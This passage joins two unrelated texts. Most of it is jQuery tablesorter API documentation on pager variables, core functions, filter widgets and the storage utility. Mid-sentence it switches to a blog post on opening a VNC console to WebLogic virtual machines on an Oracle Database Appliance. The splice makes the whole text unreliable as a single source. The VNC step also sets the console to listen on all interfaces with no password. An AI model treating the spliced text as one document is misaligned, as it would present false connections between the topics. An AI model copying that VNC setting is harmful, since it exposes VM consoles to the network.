document.getElementsByTagName('table')[0].config.pager; // or by table ID var p = document.getElementById('mytable').config.pager; // using jQuery, get first table (zero index) var p = $('table')[0].config.pager; // or from the jQuery data var p = $('#mytable').data('tablesorter').pager; These methods are the same for both the pager addon and the pager widget. *NOTE* This pager variable also contains all of the default pager option settings. *NOTE* When using the pager widget, changing a value within the widgetOptions for the pager may not update the pager as expected. The pager widget uses most of the values within config.pager instead of the pager widgetOptions after initialization. jQuery Object Contains a jQuery object pointing to a pager block(s). The table.config.pager.$container variable is targeted using the pager container option and will have a class name of "tablesorter-pager" applied. The container(s) may include the pager navigation arrows, page size selector, page selector and/or output block; the contents are completely customizable and all components are optional. jQuery Object Contains a jQuery object pointing to an empty select within the pager block(s). The table.config.pager.$goto variable is targeted using the pager cssGoto option. The contents of this select element are dynamically updated if the page size is changed or if the table gets filtered. jQuery Object Contains a jQuery object pointing to a select with the desired page size settings already in place. The table.config.pager.$size variable is targeted using the pager cssPageSize option. The contents of this select element must be set up with the desired page size settings before initializing tablesorter. Also, because Internet Explorer does not appear to get the select value from the option text, please include a value attribute with all options. For example: <select class="pagesize"> <option value="10">10</option> <option value="20">20</option> <option value="30">30</option> <option value="40">40</option> </select> Array Contains an array of zero-based row indexes of rows that currently displayed within the table. For example, if you want to get the parsed values for the rows currently displayed within the pager, use the table.config.pager.cacheIndex variable as follows: var c = $('table')[0].config, p = c.pager, cache = c.cache[0].normalized, cachedValues = []; $.each( p.cacheIndex, function(i, v) { // cache[v] will be an array of parsed values for each cell in selected row cachedValues.push( cache[v] ); }); the p.cacheIndex variable get updated whenever the table is sorted, filtered or the pager changes pages or page size. Numeric Contains a one-based index of the first row visible in the pager. The {startRow} tag in the pager output option is replaced by this value; and it does not correspond to the row index within the cache. Numeric Contains a one-based index of the last row visible in the pager. The {endRow} tag in the pager output option is replaced by this value; and it does not correspond to the row index within the cache. Numeric Contains the page count, determined by the page size setting, after the table is filtered. It equals the totalPages if no filters are applied. The {filteredPages} tag in the pager output option is replaced by this value. Numeric Contains the number of rows accessible by the pager after the table is filtered. It equals the totalRows if no filters are applied. The {filteredRows} tag in the pager output option is replaced by this value. Numeric Contains a one-based index of the current page visible in the pager. The {page} tag in the pager output option is replaced by this value. Initially, this value is set by either the pager page option or from local storage if the savePages option is true. It is then updated by user interaction with the page selector (targeted by the cssGoto option or programmically by the pageSet or pageAndSize method. Numeric Contains the currently selected page size. Initially, this value is set by either the pager size option or from local storage if the savePages option is true. It is then updated by user interaction with the size selector (targeted by the cssPageSize option or programmically by the pageSize or pageAndSize method. Numeric Contains the total page count as determined by the page size setting. The {totalPages} tag in the pager output option is replaced by this value. Numeric Contains the total number of rows within the table The {totalRows} tag in the pager output option is replaced by this value. Removed Variables jQuery Object Internal list of all extra table header cells (v2.16.2; removed v2.21.3) This variable was removed due to it causing memory leak issues. To now find extra headers use config.namespace as follows: $( config.namespace + '_extra_headers' ) When the bindEvents function is used, the extra (external) header cells are added to this variable, and automatically updated with the table headers (config.$headers). So, when writing a custom widget that clones the table header, there is no longer a need to update the header class names, it's all done automatically. jQuery Object Internal list of all extra (cloned) table elements (v2.19.0; removed v2.21.3) This variable was removed due to it causing memory leak issues. To find extra tables use config.namespace as follows: $( config.namespace + '_extra_table' ) Some widgets need to duplicate parts of the original table to provide functionality (e.g. stickyHeaders, scroller). This saved variable will either not exist or contain a jQuery object pointing to the cloned table elements. This variable was added for the uitheme widget to allow dynamic updating of themes to the original table as well as all cloned parts. Functions TIP! Click on the link in the function column to reveal full details (or toggle|show|hide all) or double click to update the browser location. Function Description Core Functions This function adds a colgroup element to the table when widthFixed is true. A new colgroup with col elements is only added if: • widthFixed is true. • A predefined colgroup element does not already exist in the table *. * Note If a colgroup was added by the plugin, calling this function additional times will refresh the set widths Also, the col elements within the colgroup are set with a percentage width to dynamically maintain the fixed column width ratios. Use it as follows: $.tablesorter.fixColumnWidth( table ); • table - table DOM element (or jQuery object) of table. This function detaches the targeted tbody from the DOM to allow faster manipulation of the tbody contents (v2.4). Use it as follows: $.tablesorter.processTbody( table, $(tbody), getIt ); • table - table DOM element (or jQuery object) of table containing the tbody. • $(tbody) - tbody jQuery object. • getIt - Boolean flag (optional if false). When calling the function, to get a tbody, set the getIt boolean parameter to true and the removed tbody is returned; setting this option to false or optionally not including it will restore the tbody. Here is a basic example of how this function is used: var tbodyIndex, _tbody, table = $('#my-table')[0], tbodies = table.tBodies, // use table.config.$tbodies for all tbodies EXcluding information only tbodies for (tbodyIndex = 0; tbodyIndex < tbodies.length; tbodyIndex++) { // detach tbody from table _tbody = $.tablesorter.processTbody( table, tbodies[tbodyIndex], true ); // do something magical to the tbody _tbody.addClass('unicorn'); // restore tbody $.tablesorter.processTbody( table, _tbody ); } Please note that completely detaching the tbody was found to be a much quicker method of manipulating DOM elements than just hiding the tbody; this is especially true in older browsers. This function adds the processing (indeterminant loading icon) to specific or all header cells while processing table elements (v2.4). Use it as follows: $.tablesorter.isProcessing( table, toggle, $ths ); • table - table DOM element (or jQuery object) of table. • toggle - Boolean flag. • $ths - jQuery object of targeted header cells (optional; if excluded all header cells are targeted). When calling the function, set the toggle option to add (true) or remove (false) process indicators. Include any specific header cells within the $ths variable with which to add the process indicator. When $ths is not defined and a sort is applied, the currently sorted header cells will show process indicators. All this function does is add or remove a class name of "tablesorter-processing" and the class name contained within the cssProcessing option. Here is a basic example of how this function is used: $('table').bind('sortBegin sortEnd', function(event, table){ // this is included with the basic functionality of tablesorter $.tablesorter.isProcessing( this, event === 'sortBegin' ); }); Please note that currently the processing icons do not animate (see issue #158). This is due to javascript being a single-threaded, meaning it only does one task at a time, and maximizing the sorting script. So lots of processing is needed to sort & rebuild the table and thus it has no time for animation. If someone knows of a better solution, please share! This function empties ALL of the table tbodies (v2.17.2). Use it as follows: $.tablesorter.clearTableBody( table ); • table - table DOM element (or jQuery object) of table. Please note that this function uses jQuery empty(). All data & event handlers are removed. No where within the tablesorter script or included widgets is this function used, it is left intact for backwards compatibility. This function adds header event listeners to the targeted cells (v2.8; v2.16.2). Use it as follows: $.tablesorter.bindEvents( table, $headers ); • table - table DOM element (or jQuery object) of table. • $headers - jQuery object of targeted cells. This function allows you to bind the same header event listeners to external headers cells (usually clones of the original table). This includes the triggered sort event, left click (only) to sort, ignoring long clicks (> 250ms), pressing enter to trigger a sort (must have focus and a tabindex attribute) and cancelling selection of text (if the option is set). To ensure the columns match the original table, include data-column attributes pointing to the desired column. Here is a basic example of how this function is used: var $table = $('table'), // make a copy of the table $clonedTable = $table.clone().addClass('clonedTable').insertAfter($table); // remove stuff we don't need in the clone $clonedTable.find('tfoot,tbody').remove(); // bind events to the cloned headers $.tablesorter.bindEvents( $table, $clonedTable.find('th') ); In v2.16.2, this function now saves all extra (external) headers to the config.$extraHeaders variable which allows the plugin to automatically update the sort status. This function restores the table headers cells with their original content (v2.8). The original header cell content is saved, within the headerContent variable array, before the headerTemplate is applied and before the onRenderTemplate and onRenderHeader callbacks are executed. Use it as follows: $.tablesorter.restoreHeaders( table ); • table - table DOM element (or jQuery object) of table. Please note that only header cells that still contain a div with a class name of tablesorter-header-inner will have their contents restored; it assumes that the contents have already been restored. This function completely removes tablesorter, including all widgets, associated data & event handlers from the table (v2.3.2). Use it as follows: $.tablesorter.destroy( table, removeClasses, callback ); • table - table DOM element (or jQuery object) of table. • removeClasses - Boolean flag • callback - Function executed once tablesorter has been removed. When calling the function, set the removeClasses option to true to include removing of the "tablesorter" class name, tablesorter theme name (e.g. "tablesorter-blue") and the class name applied by the tableClass option. The callback function only provides a table (DOM element only) parameter. Here is a basic example of how this function is used: $.tablesorter.destroy( table, true, function(table){ alert('tablesorter has been removed! No sort for you!'); }); Please note that only header cells that still contain a div with a class name of tablesorter-header-inner will have their contents restored; it assumes that the contents have already been restored. This function sorts the a & b parameter using a natural sort (v2.12). Access it as follows: $.tablesorter.sortNatural(a, b); • a - string. • b - string to compare. Here is a basic example of how this function is used: var myArray = [ '1a', '10a', '2a', '2b' ]; // result: ["1a", "2a", "2b", "10a"] myArray.sort(function(a,b) { return $.tablesorter.sortNatural(a, b); }); Please note that this natural sort function only accepts strings (added v2.0.6; renamed v2.12). This function sorts the a & b parameter using a basic sort (renamed v2.12). Access it as follows: $.tablesorter.sortText(a, b); • a - string. • b - string to compare. Here is a basic example of how this function is used: var myArray = [ '1a', '10a', '2a', '2b' ]; // result: ["10a", "1a", "2a", "2b"] myArray.sort(function(a,b) { return $.tablesorter.sortText(a, b); }); This function replaces basic accented characters to better sorting & filtering of table contents (v2.2). Use it as follows: $.tablesorter.replaceAccents(string); • string - a string to process & replace accented characters. Here is a basic example of how this function is used: $.tablesorter.replaceAccents("áàâãä"); // result: "aaaaa" This function is used when the sortLocaleCompare option is set to true. Please refer to the option and the demo for more details on the defaults values and how to add more accented characters. This function returns a zero-based index value of the position of the value within the array, otherwise it returns -1 (Modified v2.15.6). Use it as follows: $.tablesorter.isValueInArray(value, array); • value - value to find within the array. • array - array (sortList) to search for the value. Sadly, this function has limited usefulness outside of tablesorter. It is only meant to search a sortList array and determine if a column (value) is already contained within it. Here is a basic example of how this function is used: var sortList = [ [1,0], [2,0], [0,0] ]; // result: 1 $.tablesorter.isValueInArray(2, sortList); After v2.15.6, this function returns a zero-based index of the position of the value within the array parameter, or -1 if the value is not in the array. Previously, this function returned a boolean value of true if the value was contained within the array, or false if not. This function allows the adding of custom parser scripts to the tablesorter core. Access it as follows: $.tablesorter.addParser(myParser); • myParser - object containing parser code. The myParser object must contain a proper template. The template must include an id, is, format and type blocks. Please refer to the writing custom parsers demo page for more details & an example. This function allows to add custom methods for config object (v2.21.0). Access it as follows: $.tablesorter.addInstanceMethods(methods); • methods - an object containing methods to be added, indexed by method names. These methods can use config object by refering this. Take a look at instanceMethods variable description for more details. This function returns the named parser object. Access it as follows: $.tablesorter.getParserById(name); • name - the name (or id) of the parser. Use this function as follows: var parser = $.tablesorter.getParserById("currency"), value = parser.format('100%'); // returns 100 (number type, not a string) This function allows the checking to see if a widget is installed (v2.17.4). Access it as follows: $.tablesorter.hasWidget( table, 'mywidget'); • table - table element or jQuery object of the selected table. • 'mywidget' - ID of the widget to check. This function returns a boolean value, where true means the widget is currently installed and active; and false means the widget is not installed. Use this function as follows: $.tablesorter.hasWidget( $('table'), 'zebra' ); // true This function allows the adding of custom widget scripts to the tablesorter core (v2.19.0). In v2.19.0, a "refreshing" parameter was added to the remove widget function to indicate that the widget will be refreshed so it will only be temporarily removed (see this demo for more details). Access it as follows: $.tablesorter.addWidget(myWidget); • myWidget - object containing widget code. The myWidget object must contain a proper template. The template must include an id and format blocks. The priority, options, init and remove blocks are optional. Please refer to the writing custom widgets demo page for more details & an example. This function returns the named widget object. Access it as follows: $.tablesorter.getWidgetById(name); • name - the name (or id) of the widget. Use this function as follows: var widget = $.tablesorter.getWidgetById("saveSort"), table = $('table')[0]; // apply save sort widget to a table; but it will get removed if the refreshWidgets method // is triggered, unless the table.config.widgets array contains this widget name/id widget.format( table, table.config, table.config.widgetOptions ); This function applys (refreshes) all currently selected widgets on a table (v2.16.0; v2.19.0). Use it as follows: $.tablesorter.applyWidget( table, init, callback ); • table - table DOM element (or jQuery object) of table. • init - optional, boolean initialization flag. • callback - optional, a function executed after all widgets have been applied; the only parameter is table (v2.19.0). The init flag is only set to true to extend the default option values from the widget options block. If the widget(s) have already been applied to the table, just leave this parameter undefined. This function is called when the applyWidgets method is triggered. This function removes, then reapplies all currently selected widgets on a table (v2.4; v2.19.0). In v2.19.0, this function was modified to internally use the removeWidget function & a "refreshComplete" event is now triggered upon completion. Use it as follows: $.tablesorter.refreshWidgets( table, doAll, dontapply ); • table - table DOM element (or jQuery object) of table. • doAll - optional, boolean flag. • dontapply - optional, boolean flag. The doAll flag is set to true if all widgets contained with the global $.tablesorter.widgets array are to be removed. When doAll is false, only widgets not contained within the config.widget option are removed; then if the dontapply flag is false, the widgets named in that option are reapplied (without removing them). This function is called when the refreshWidgets method is triggered. This function removes selected widgets (v2.19.0). Use it as follows: $.tablesorter.removeWidget( table, names, refreshing ); • table - table DOM element (or jQuery object) of table. • names - string (space or comma separated widget names), an array of widget names, or if true all installed widgets are removed. • refreshing - if true, the widget name will not be removed from the widgets option; any other setting and the name will be removed. This function is used by the refreshWidgets function (v2.19.0). This function returns the column data from an object based on a column index or classname/id (v2.21.1). Use it as follows: $.tablesorter.getColumnData( table, object, key ); • table - table DOM element (or jQuery object). • object - object containing zero-based column indexes or column class names as a key (e.g. table.config.headers or table.config.widgetOptions.filter_functions; any data found as the value (of the key : value pair) will be returned. • key - key to be Object key; this can be a zero-based column index or header class name/id. As a full example, say you have a header cell with a class name of "event". And you want to use the textExtraction function for that column, then you would use this function as follows: var table = $('table')[0], textExtractionFunction = $.tablesorter.getColumnData( table, table.config.textExtraction, ".event" ); The ".event" key can be replaced with a zero-based column index, if the textExtraction option is set up using indexes. This function is sometimes used in conjunction with the getData function. This function is called first because the getData function uses the result in the configHeaders parameter - the config.headers option result from this function would be an object and not a function. This utility function returns the entire column text (raw and parsed) as well as other data (v2.21.4). Use it as follows: $.tablesorter.getColumnText( table, column, callback ); • table - table DOM element (or jQuery object). • column - zero-based column index or 'all'. • callback - callback function that is called while obtaining data for each cell within the specified column. When using the callback, there is only one argument (object) passed to this function; it contains the following: • tbodyIndex - the tbody zero-based index of the current cell. • rowIndex - the row zero-based index of the current cell. • $row - a jQuery object targeting the current row being processed. • $cell - a jQuery object targeting the curretn cell being processed. • parsed - parsed text of the current cell. • raw - raw (unparsed) text of the current cell. As an example, say you want to make the text of all cells with a value greater than 20 red (assuming the 'red' class name is defined in css). Do it as follows: var table = $('table')[0]; // targeting the 4th column (zero-based index) $.tablesorter.getColumnText( table, 3, function( data ) { if ( data.parsed > 20 ) { data.$cell.addClass('red'); } }); In this example, the goal is to get data from rows visible after filtering. When the callback returns false, that row/cell data will not be included in the resulting data: var table = $('table')[0], // getting data from ALL columns, we're just skipping filtered out rows (rows with a "filtered" class) result = $.tablesorter.getColumnText( table, 'all', function( data ) { return !data.$row.hasClass('filtered'); }); // let's just assume this example is only showing filter matching rows (rows without a "filtered" class ;) // result = { // raw : [ [ 'r1c1', 'r1c2', ..., 'r1cN' ], [ 'r2c1', 'r2c2', ..., 'r2cN' ] ..., [ 'rNc1', 'rNc2', ..., 'rNcN' ] ], // parsed : [ [ 'r1c1', 'r1c2', ..., 'r1cN' ], [ 'r2c1', 'r2c2', ..., 'r2cN' ] ..., [ 'rNc1', 'rNc2', ..., 'rNcN' ] ], // $cell : [ [ $r1c1, $r1c2, ..., $r1cN ], [ $r2c1, $r2c2, ..., $r2cN ] ..., [ $rNc1, $rNc2, ..., $rNcN ] ] // } If the callback isn't used, the function will return the cummulated data for the column (it does not include all of the parameters available within the callback function): var table = $('table')[0], // targeting the 4th column (zero-based index) columnText = $.tablesorter.getColumnText( table, 3 ); // columnText = { // raw : [ 'cell1', 'cell2', ..., 'celln' ], // parsed : [ 'cell1', 'cell2', ..., 'celln' ], // $cell : [ $cell1, $cell2, ..., $celln ] // } All of these methods of gathering column data might be useful for custom widgets, etc. * NOTE * All currently available widgets that gather data from a column will be updated to use this function in v2.22.0. This functions gets the sorter, string, empty, etc options for each column from jQuery data, metadata, header option or header class name ("sorter-false") (v2.1.16). priority = jQuery data > meta > headers option > header class name Use it as follows: $.tablesorter.getData(headerCell, configHeaders, key); • headerCell - table DOM element (or jQuery object) of targeted header cell. • configHeaders - table.config.headers option for the current column. • key - get value for this option name, e.g. "sorter". If the value of the "sorter" option is needed for a column, set the key to "sorter" and this function will return the set value, e.g. false, digit, currency etc. Use this function as follows: var column = 2, config = $('table')[0].config, headerCell = config.$headers.filter('[data-column="' + column + '"]'); // e.g. returns "false" if the header cell has the "sorter-false" class name $.tablesorter.getData( headerCell, config.headers[column], "sorter" ); The reason there is a priority is because that is the order in which the values are searched, only the first (higher priority) value is returned. This function converts a number string into a number type. Use it as follows: $.tablesorter.formatFloat(string, table); • string - a string possibly containing a number. • table - table DOM element (or jQuery object) of table (optional; required for non U.S. formatting). If string is empty, not a string type, or not a number (after processing), the string itself is returned. If table is not provided, the format float function will default to U.S. number formatting. The reason a table parameter is needed is to check the value of the usNumberFormat option. This function uses the usNumberFormat option to determine if either commas or decimals are removed before converting the value within the string parameter into a number type variable. This function does not use the $.tablesorter.isDigit function. Any numbers wrapped within parentheses are converted into negative numbers; but any other symbols (e.g. currency) are not removed and will cause this function to determine the string as a non-number (e.g. "$1.25" will be returned as a string). Use this function as follows: // result: -2345.67 if usNumberFormat option is true $.tablesorter.formatFloat( "(2,345.67)", table ); This function determines if a string contains a number after removing commas, periods, quotes and spaces. Use it as follows: $.tablesorter.isDigit(string); • string - a string possibly containing a number. This function will return a boolean value of true if the string parameter contains a number after all commas, decimals, quotes and spaces are removed, and still allow plus or minus signs, or the number wrapped in parenthesis (negative values). Use this function as follows: // boolean value of true returned $.tablesorter.isDigit( "(2,345.67)" ); Adds the correct data-column indexing to all rows passed to this function (v2.16). Use it as follows: $.tablesorter.computeColumnIndex($rows); • $rows - jQuery object of rows in which to add data-column indexes Example result: <tr> <td colspan="2" data-column="0">r0c0</td> <td data-column="2">r0c2</td> </tr> <tr> <td data-column="0">r1c0</td> <td data-column="1">r1c1</td> <td data-column="2">r1c2</td> </tr> This function allows adding/removing a row to the thead, to display any errors (v2.15; v2.23.1). This function is ONLY included within the widget-pager.js and jquery.tablesorter.pager.js files; in version 3+, I plan to add it as a selectable option in a build. In v2.23.1, a settings parameter was included to make it match the parametered returned by the jQuery .ajaxError() method. In v2.23.0, this function will accept xhr and exception parameters provided by ajax error messages. To maintain backward compatibility, if xhr is a string, it will be treated as previous message parameter and displayed in the error row without modification. Use it as follows: $.tablesorter.showError( table, xhr, settings, exception ); • table - table DOM element (or jQuery object) of the table. • xhr - a plain string, string of an HTML row, or the XMLHttpRequest (XHR) object from ajax error message. • settings - a plain object containing the ajax settings, as returned by the ajaxError method. • exception - exception string passed from the ajax error message. This function will add a table row to the thead, with a class name from either the pager plugin cssErrorRow option setting, or the pager widget pager_css.errorRow option (the default class name is "tablesorter-errorRow"; and styled within each theme css file). When passing this function a message string (in the xhr parameter), there are three possibilities: 1. Plain string (with inline HTML is okay) - "<strong>table refuses to cooperate</strong>" 2. HTML row string - '<tr><td colspan="' + table.config.columns + '">yeah, instead of showing your data... I am taking a nap</td></tr>' (the table.config.columns variable contains the number of table columns; use as needed) 3. undefined - completely leave out a message parameter $.tablesorter.showError( table ); to remove all error rows from the table thead. As of v2.23.0, • *WARNING* the table parameter no longer accepts multiple tables. • If the xhr parameter is not a string, then the pager ajaxError callback is called to allow modification of the displayed message. Widget Functions This filter widget function allows binding external search filters to the table (v2.13.3; v2.15). Access it as follows: $.tablesorter.filter.bindSearch(table, $els, false); • table - table DOM element (or jQuery object) of table. • $els - jQuery object of all input (search) elements to bind. • false - boolean flag to force a new search. The table element will only process one table. So if you pass in a jQuery object, only the first table will be bound to the elements ($els). The external elements ($els) will allow searching the table using "search" and "keyup" events (enter to start & escape to cancel the search), and uses the filter_liveSearch option, or delayed search. Include a data-column="#" attribute (where # is the column number) in the search input, to specify to which column the search should apply ~ see this demo for a full example. Warning!, if no data-column attribute is added to the input, the input will be ignored. In v2.15, use a data-column="all" to bind an external any-match search filter; but note that adding an external any-match filter using this method will not override the filter set by the filter_external option. The third function parameter, false, is optional. When set to false it forces the inputs to update their values (same as setting the apply flag when using the setFilters function), and reapplies (forces) the current search to be applied again, even if the filter values have not changed; this allows changing the data column attribute dynamically. See the filter external inputs demo for an example. Warning! If the third parameter is set to true the saved internal filters (config.$filters) will be replaced - not recommended! This filter widget function allows the updating or replacing of filter select options from an external source. (v2.17.5): Access it as follows: $.tablesorter.filter.buildSelect( table, column, options, replace, onlyAvail ); • table - table DOM element (or jQuery object) of table. • column - zero-based column index. • options - array of options, jQuery object of option elements, or HTML string of option elements to apply to the targeted select. • replace - a boolean value, which if true all options will be replaced; if false the options will be appended to the current list of options. • onlyAvail - an optional boolean flag, which will be ignored if the options parameter is defined or is an empty string; otherwise it is the value passed to the function which finds all table column values; if true, only the available options will be diplayed. Use this function as follows: // replace filter select options for the first column with 1,2,3,4 $.tablesorter.filter.buildSelect( $('table'), 0, [ 1, 2, 3, 4 ], true ); // append "Aaron" and "Fred" to the second column's filter select options. These options will remain unsorted. $.tablesorter.filter.buildSelect( $('table'), 1, $('<option>Aaron</option><option>Fred</option>'), false ); Please be aware that this function will allow you to modify the select options, but as soon as the user filters any column, all of the select options will refresh and obtain options from the table column, or from the filter_selectSource function. This filter widget function returns all the cached values of the set table column (v2.16.0): This function respects the parsed data setting for the column, so it uses the filter_useParsedData option, "filter-parsed" class on the header, or the parser parsed flag settinng (ref). Use it as follows: $.tablesorter.filter.getOptions( table, column, onlyAvail ); • table - table DOM element (or jQuery object) of table. • column - zero-based column index. • onlyAvail - an optional boolean flag, which will be ignored if the options parameter is defined or is an empty string; otherwise it is the value passed to the function which finds all table column values; if true, only the available options will be diplayed. Use this function as follows: // external filter select var index, len, opts = '', $table = $('table'), column = 0, // first column onlyAvail = false, // if true, available rows (visible rows after filtering) are returned array = $.tablesorter.filter.getOptions( $table, column, onlyAvail ); // process array; sort & remove duplicates (added v2.23.4) arry = $.tablesorter.filter.processOptions( $table, column, array ); len = arry.length; // build options for ( index = 0; index < len; index++ ) { opts += ''; } $('select.external').html( opts ); Please be aware that this function does not process the array, so the array may contain duplicates and will not be sorted. The filter processOptions function was added in v2.23.4 which performs those actions. This filter widget function returns an array of sorted column data will duplicates removed (v2.23.4). Use it as follows: $.tablesorter.filter.processOptions( table, column, array ); • table - table DOM element (or jQuery object) of table. • column - zero-based column index (optional). • array - An array of items to process. The column parameter is optional, but if included it is used: • To check the column header for a filter-select-nosort class name to prevent the sorting of options. • To check tablesorter's textSorter option in case there are column specific sorting algorhithms set. See the getOptions function description or the filter_selectSource option (under "An object containing column keys"; getJSON) for examples which use this function. This filter widget function allows getting an array of the currently applied filters (v2.9; v2.15) Access it as follows: $.tablesorter.getFilters(table, flag); • table - table DOM element (or jQuery object) of table. • flag - boolean flag (optional; false by default), added v2.15 Use this function as follows: // use $('table') or $('table.hasFilters') to make sure the table has a filter row // only required if the stickyHeaders or scroller widget is being used (they duplicate the table) $.tablesorter.getFilters( $('table') ); This function returns an array of filter values (e.g. [ '', '', '', '', '', '2?%' ]), or false if the selected table does not have a filter row. It will also return an additional parameter if an external input with data-column="all" containing the value used when matching any table column. In v2.15, this function will also return values from any external filters (set either by the filter_external option or using the bindSearch function) - with or without an internal filter row. If the second parameter is set to true, it forces the function to get all of the current filter values directly from the inputs. Otherwise, by default, the function returns the last search as found in this stored data $('table').data('lastSearch');. This filter widget function allows setting of the filters; include a true boolean to actually apply the search (v2.9; v2.16): Access it as follows: $.tablesorter.setFilters(table, filter, apply); • table - table DOM element (or jQuery object) of table. • filter - array of filter values to apply to the table. • apply - boolean flag, if false (default setting), the input values are updated, but the search is not applied to the table. Use this function as follows: // update filters, but don't apply the search $.tablesorter.setFilters( $('table'), [ '', '', '', '', '', '2?%' ] ); // update filters, AND apply the search $.tablesorter.setFilters( $('table'), [ '', '', '', '', '', '2?%' ], true ); // this will now use the search method This function returns true if the filters were sucessfully applied, or false if the table does not have a filter row. As of v2.15, this function will also set values in any external filters (set either by the filter_external option or using the bindSearch function). An additional search parameter can be included to match any column, but please include an external input with data-column="all" using the bindSearch function so your users will know that a search has been applied. Also, changed is that when a true value is passed as a third parameter, the search is forced to refresh on the table; otherwise, if the filters set in the search exactly match the previous search, it would be ignored - this was added to prevent numerous ajax calls with exactly the same search or sort parameters (when using the pager). This resizable widget function allows resetting column width changes and clearing out the saved set widths (v2.4; v2.10.1) Use it as follows: $.tablesorter.resizableReset(table, refreshing); • table - table DOM element (or jQuery object) of table(s). • refreshing - if this flag is set to true, the stored resize settings will not be cleared; all other settings will clear the storage. This function is used when the user right-clicks on the table header (the refreshing flag is undefined at that time to allow saving the changes). Added a resize event to the table headers - used by the stickyHeaders widget, but this is a public function available to any widget (v2.10). There is no built-in resize event for non-window elements, so when this function is active it triggers a resize event when the header cell changes size. So, if you are writing your own widget and need a header resize event, just include the jquery.tablesorter.widgets.js file, or just the extract the function from that file. Access it as follows: $.tablesorter.addHeaderResizeEvent(table, disable, { timer : 250 }); • table - table DOM element (or jQuery object) of table. • disable - boolean flag, if false events for the targeted table are disabled. • timer - currently only the timer option is available for modification. Enable these triggered events as follows: var table = $('table')[0], disable = false, options = { timer : 250 // header cell size is checked every 250 milliseconds (1/4 of a second) }; $.tablesorter.addHeaderResizeEvent( table, disable, options ); Then use it in your custom widget as follows: $(table).on('resize', function(event, columns){ // columns contains an array of header cells that were resized // this seemed like a better idea than firing off a resize event for every // column when the table adjusts itself to fit within its container event.stopPropagation(); // optional // do something console.log( columns ); }); To disable these resize events, use this code: // Disable resize event triggering: var table = $('table')[0]; $.tablesorter.addHeaderResizeEvent( table, true ); This function allows saving specific table data (especially widgets) to local storage (cookie fallback for no browser support) (v2.1) Access it as follows: $.tablesorter.storage(table, key, value, options); • table - table DOM element (or jQuery object) of table. • key - name of the variable to save • value - value of the variable that is saved (for saving only); set to null if wanting to get a value with options. • options - storage options; see below This function attempts to give every table a unique identifier using both the page url and table id (or index on the page if no id exists), by default. Here is a usage example and a look at what is stored within the local storage: $.tablesorter.storage( $('#tablesorter-demo')[0], 'test', '123'); // stored under the "test" value as {"/tablesorter/docs/":{"tablesorter-demo":"123"}} The saved table url & id can be overridden by setting table data attributes data-table-page (url) and data-table-group (id), as in this sample markup: <table class="tablesorter" data-table-page="mydomain" data-table-group="financial">...</table>) To change the default data attributes, use the options to modify them as follows: $.tablesorter.storage( table, key, value, { // table id/group id id : 'group1', // this group option sets name of the table attribute with the ID; // but the value within this data attribute is overridden by the above id option group: 'data-table-group', // table pages url : 'page1', // this page option sets name of the table attribute with the page/url; // but the value within the data attribute is overridden by the above url option page: 'data-table-page', // Option added v2.21.3; if `true` the storage function will use sessionStorage // if not defined, the `config.widgetOptions.storage_useSessionStorage` setting is checked // if no settings are found, it will default to `false`, and use localStorage useSessionStorage : false }); The priority of table ID settings is as follows: 1. options.id setting 2. Table data attribute ("data-table-group" by default) value 3. widgetOptions.storage_tableId option 4. Table id attribute 5. Index of the table (compared to other tables with a "tablesorter" class name) on the page The priority of table url (group) settings is as follows: 1. options.url setting 2. Table data attribute ("data-table-page" by default) value 3. widgetOptions.storage_fixedUrl option value 4. config.fixedUrl option value 5. window.location.pathname The storage_fixedUrl widget option allows you to override the current page url (it doesn't need to be a url, just some constant value) and save data for multiple tables across a domain. The value from this option has a lower priority than the options id or group settings (see priority list above). When using the storage utility to get a value and use custom table options, set the value parameter to null. Lastly, this storage utility function needs the parseJSON function available in jQuery v1.4.1+. Download File Downloads Required: Optional / Add-Ons: Themes: Theme zip files have been removed. There are now numerous themes available which can be seen here. Browser Compatibility tablesorter has been tested successfully in the following browsers with Javascript enabled: jQuery Browser Compatibility Support First, please review the FAQ page to see if it will help you resolve the problem. If you are having a problem with the plugin or you want to submit a feature request, please submit an issue. Support is also available from stackoverflow. If you would like to contribute, fork a copy on github. Some basic unit testing has been added (v2.6). If you would like to add more or report a problem, please use the appropriate link above. For questions about jQuery, try irc, stackoverflow, or the jQuery forums. Credits Written by Christian Bach. Documentation written by Brian Ghidinelli, based on Mike Alsup's great documention. Additional & Missing documentation, alphanumeric sort, numerous widgets, unit testing and other changes added by Mottie. Thanks to all that have contributed code, comments, feedback and everything else. A special thanks goes out to: John Resig for the fantastic jQuery
__label__pos
0.651972
Accessing VNC Console for ODA WLS Virtual Machines 2.5 When working on the ODA patch 2.5 there maybe occasions where you need to VNC into the virtual machine to try and diagnose issues because the standard oakcli doesn't provide enough information. I believe in 2.6 a new function has been a introduced to make this easier (oakcli show vmconsole) but in 2.5 it doesn't exist. In this example I have deployed WLS on the ODA but one of the managed server machines is not coming up correctly although the command oakcli show vm is saying all is OK. To get a VNC console to the managed server VM I performed the following. 1. You need to go the the VM repository. This is on either of the ODA_BASE machines. To find where this is, on the node 0 db vm run the following command: oakcli show vm NAME                                  MEMORY       VCPU            STATE           REPOSITORY OTD_ofm_domain_AdminNode_1              4096          2            ONLINE          odarepo2 OTD_ofm_domain_AdminNode_2              4096          2            ONLINE          odarepo1 OTD_ofm_domain_AdminServer              1024          2            ONLINE          odarepo2 WLS_ofm_domain_AdminServer              2048          2            ONLINE          odarepo1 WLS_ofm_domain_ManagedServer_1          6144          2            ONLINE          odarepo2 WLS_ofm_domain_ManagedServer_2          6144          2            ONLINE          odarepo1 The server I'm interested in is WLS_ofm_domain_ManagedServer_1, which is found on  odarepo2. This tells me I need to go to the repository on ODA_BASE Node 1 (I'm counting from 0). In my case this is called nlab-oda-pub2. 2. Login as root to the ODA_BASE server that has the required repository. change directory to the following cd  /OVS/Repositories/odarepo2/VirtualMachines/WLS_ofm_domain_ManagedServer_1 Please note that yours may differ, I'm connecting to the odarepo2 and vm WLS_ofm_domain_ManagedServer_1 3. In this directory there should be a file vm.cfg. Open this up and add the following line at the top vfb = ['type=vnc,vncunused=1,vnclisten=0.0.0.0'] 4. Bounce the VM with the oakcli commands: oakcli stop vm WLS_ofm_domain_ManagedServer_1 and oakcli start vm WLS_ofm_domain_ManagedServer_1 5. Start a VNC session and point to the correct node. In my case I need to connect to the head machine on the second node (machine you install the ODA_BASE into). The port you need to connect to is 5901 as 5900 is taken by the ODA_BASE machine. This should op up the console. In this instance I can see that may network was already taken, that is why it didn't start correctly. Enjoy. Comments: Post a Comment: • HTML Syntax: NOT allowed About Discussions and Examples using Oracle Fusion Middleware. Some image links are broken when using Firefox, Safari, and Chrome. If you want to see the full image please use IE. 